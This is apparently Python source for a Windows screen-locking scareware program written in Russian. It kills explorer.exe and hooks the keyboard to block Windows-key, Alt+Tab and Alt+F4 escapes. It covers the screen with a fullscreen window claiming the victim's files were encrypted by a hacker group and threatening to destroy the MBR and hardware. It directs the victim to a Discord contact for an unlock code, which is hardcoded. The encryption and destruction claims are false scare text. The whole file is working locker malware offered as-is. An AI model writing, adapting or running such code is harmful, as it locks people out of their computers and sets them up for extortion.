Загрузка данных


import tkinter as tk
import sys
import threading
import time
import platform
import ctypes
import os
from ctypes import wintypes

PASSWORD = "1234"
BOOT_LINES = [
    "Booting windows...",
    "Windows blocked *",
    "Service xcrypt started! *"
]
TOTAL_BOOT_TIME = 2.0
ASCII_TIME = 1.0

ASCII_ART = r"""             ...
             ;::::;
           ;::::; :;
         ;:::::'   :;
        ;:::::;     ;.
       ,:::::'       ;           OOO\
       ::::::;       ;          OOOOO\
       ;:::::;       ;         OOOOOOOO
      ,;::::::;     ;'         / OOOOOOO
    ;:::::::::`. ,,,;.        /  / DOOOOOO
  .';:::::::::::::::::;,     /  /     DOOOO
 ,::::::;::::::;;;;::::;,   /  /        DOOO
;`::::::`'::::::;;;::::: ,#/  /          DOOO
:`:::::::`;::::::;;::: ;::#  /            DOOO
::`:::::::`;:::::::: ;::::# /              DOO
`:`:::::::`;:::::: ;::::::#/               DOO
 :::`:::::::`;; ;:::::::::##                OO
 ::::`:::::::`;::::::::;:::#                OO
 `:::::`::::::::::::;'`:;::#                O
  `:::::`::::::::;' /  / `:#
   ::::::`:::::;'  /  /   `#"""


def kill_explorer():
    """Убиваем explorer.exe через os.system"""
    try:
        os.system("taskkill /f /im explorer.exe > nul 2>&1")
    except:
        pass


def restore_explorer():
    try:
        os.system("start explorer.exe")
    except:
        pass


user32 = ctypes.windll.user32
kernel32 = ctypes.windll.kernel32

WH_KEYBOARD_LL = 13
WM_KEYDOWN = 0x0100
WM_SYSKEYDOWN = 0x0104

VK_LWIN = 0x5B
VK_RWIN = 0x5C
VK_TAB = 0x09
VK_F4 = 0x73
VK_ALT = 0x12

allowed_to_close = False
blocked = True


class KBDLLHOOKSTRUCT(ctypes.Structure):
    _fields_ = [
        ("vkCode", wintypes.DWORD),
        ("scanCode", wintypes.DWORD),
        ("flags", wintypes.DWORD),
        ("time", wintypes.DWORD),
        ("dwExtraInfo", ctypes.POINTER(ctypes.c_ulong))
    ]


HOOKPROC = ctypes.WINFUNCTYPE(ctypes.c_int, ctypes.c_int, wintypes.WPARAM, ctypes.c_void_p)


def low_level_hook(nCode, wParam, lParam):
    global blocked, allowed_to_close
    if nCode < 0:
        return user32.CallNextHookEx(0, nCode, wParam, lParam)

    if not blocked or allowed_to_close:
        return user32.CallNextHookEx(0, nCode, wParam, lParam)

    if wParam in (WM_KEYDOWN, WM_SYSKEYDOWN):
        kbd = ctypes.cast(lParam, ctypes.POINTER(KBDLLHOOKSTRUCT)).contents
        vk = kbd.vkCode

        if vk in (VK_LWIN, VK_RWIN):
            user32.keybd_event(vk, 0, 2, 0)
            return 1

        if user32.GetAsyncKeyState(VK_LWIN) & 0x8000 or user32.GetAsyncKeyState(VK_RWIN) & 0x8000:
            return 1

        if vk == VK_F4 and (user32.GetAsyncKeyState(VK_ALT) & 0x8000):
            return 1

        if vk == VK_TAB and (user32.GetAsyncKeyState(VK_ALT) & 0x8000):
            return 1

    return user32.CallNextHookEx(0, nCode, wParam, lParam)


hook_proc = HOOKPROC(low_level_hook)
hook_handle = user32.SetWindowsHookExW(WH_KEYBOARD_LL, hook_proc, kernel32.GetModuleHandleW(None), 0)


def unblock_keys():
    global blocked, allowed_to_close
    blocked = False
    allowed_to_close = True
    if hook_handle:
        user32.UnhookWindowsHookEx(hook_handle)


root = tk.Tk()
root.title("Windows")
root.attributes("-fullscreen", True)
root.attributes("-topmost", True)
root.configure(bg="#0000AA", cursor="none")
root.overrideredirect(True)


def _real_close():

    unblock_keys()
    restore_explorer()
    try:
        root.destroy()
    except:
        pass
    sys.exit(0)


def on_close_attempt():
    global allowed_to_close
    if allowed_to_close:
        _real_close()


root.protocol("WM_DELETE_WINDOW", on_close_attempt)

boot_label = tk.Label(
    root,
    text="",
    font=("Consolas", 28),
    fg="white",
    bg="#0000AA",
    justify="left",
    anchor="nw",
    cursor="none"
)
boot_label.place(x=30, y=30, anchor="nw")

ascii_label = tk.Label(
    root,
    text="",
    font=("Consolas", 20),
    fg="white",
    bg="#0000AA",
    justify="left",
    anchor="nw",
    cursor="none"
)
ascii_label.place(x=30, y=30, anchor="nw")
ascii_label.place_forget()

interface_frame = tk.Frame(root, bg="#0000AA", cursor="none")

title_label = tk.Label(
    interface_frame,
    text="Ваши файлы зашифрованы",
    font=("Arial", 22, "bold"),
    fg="white",
    bg="#0000AA",
    cursor="none"
)
title_label.pack(pady=(0, 15))

text_frame = tk.Frame(interface_frame, bg="#0000AA", bd=3, relief="solid", highlightbackground="white",
                      highlightcolor="white", highlightthickness=2, cursor="none")
text_frame.pack(padx=30, pady=8, fill="x")

warning_text = (
    "Увы! Вы подверглись масштабной хакерской атаке и теперь ваш компьютер заблокирован, "
    "а все файлы на нём зашифрованы хакерской группировкой IMPOSTERZAB. Любые действия, "
    "связанные с попыткой обмануть систему нанесут непоправимый вред. Вашему компьютеру "
    "и приведут к потере важной информации без возможности восстановления. При попытке "
    "снять блокировку MBR (главный загрузчик материнской платы) будет снесён, а все "
    "компоненты компьютера сожжены рекурсивной нагрузкой."
)

warning_label = tk.Label(
    text_frame,
    text=warning_text,
    font=("Arial", 14),
    fg="white",
    bg="#0000AA",
    wraplength=900,
    justify="left",
    anchor="w",
    padx=15,
    pady=15,
    cursor="none"
)
warning_label.pack(fill="x")

contact_frame = tk.Frame(interface_frame, bg="#0000AA", bd=3, relief="solid", highlightbackground="white",
                         highlightcolor="white", highlightthickness=2, cursor="none")
contact_frame.pack(padx=30, pady=(8, 8), fill="x")

contact_label = tk.Label(
    contact_frame,
    text="Для разблокировки свяжитесь с   kvinti99_32376 (Discord)",
    font=("Arial", 16, "bold"),
    fg="white",
    bg="#0000AA",
    padx=15,
    pady=10,
    cursor="none"
)
contact_label.pack()

password_frame = tk.Frame(interface_frame, bg="#0000AA", bd=3, relief="solid", highlightbackground="white",
                          highlightcolor="white", highlightthickness=2, cursor="none")
password_frame.pack(padx=30, pady=8, fill="x")

password_title = tk.Label(
    password_frame,
    text="Введите код разблокировки",
    font=("Arial", 17, "bold"),
    fg="white",
    bg="#0000AA",
    pady=6,
    cursor="none"
)
password_title.pack(fill="x")

password_entry = tk.Entry(
    password_frame,
    font=("Consolas", 24),
    fg="black",
    bg="white",
    insertbackground="black",
    bd=0,
    justify="left",
    cursor="none"
)
password_entry.pack(fill="x", padx=3, pady=(0, 3))

bottom_frame = tk.Frame(interface_frame, bg="#0000AA", cursor="none")
bottom_frame.pack(padx=30, pady=(8, 0), fill="x")

pc_name = platform.node() or "DESKTOP-USER"
pc_label = tk.Label(
    bottom_frame,
    text="Имя ПК: " + pc_name,
    font=("Arial", 12),
    fg="white",
    bg="#0000AA",
    cursor="none"
)
pc_label.pack(side="left")

enter_label = tk.Label(
    bottom_frame,
    text="Enter [Ввод]",
    font=("Arial", 12),
    fg="white",
    bg="#4444AA",
    padx=8,
    pady=4,
    cursor="none"
)
enter_label.pack(side="right")


def check_password(event=None):
    entered = password_entry.get()
    if entered == PASSWORD:
        _real_close()
    else:
        password_entry.delete(0, "end")
        warning_label.config(text="НЕВЕРНЫЙ КОД! ПОПРОБУЙ ЕЩЁ РАЗ.")


password_entry.bind("<Return>", check_password)


def boot_animation():
    delay_per_line = TOTAL_BOOT_TIME / len(BOOT_LINES)
    text = ""
    for line in BOOT_LINES:
        text += line + "\n"
        boot_label.config(text=text)
        time.sleep(delay_per_line)

    boot_label.place_forget()
    ascii_label.config(text=ASCII_ART)
    ascii_label.place(x=30, y=30, anchor="nw")
    time.sleep(ASCII_TIME)

    ascii_label.place_forget()
    interface_frame.place(relx=0.5, rely=0.5, anchor="center")
    password_entry.focus_set()


threading.Thread(target=kill_explorer, daemon=True).start()

threading.Thread(target=boot_animation, daemon=True).start()

try:
    root.mainloop()
except KeyboardInterrupt:
    pass

unblock_keys()
restore_explorer()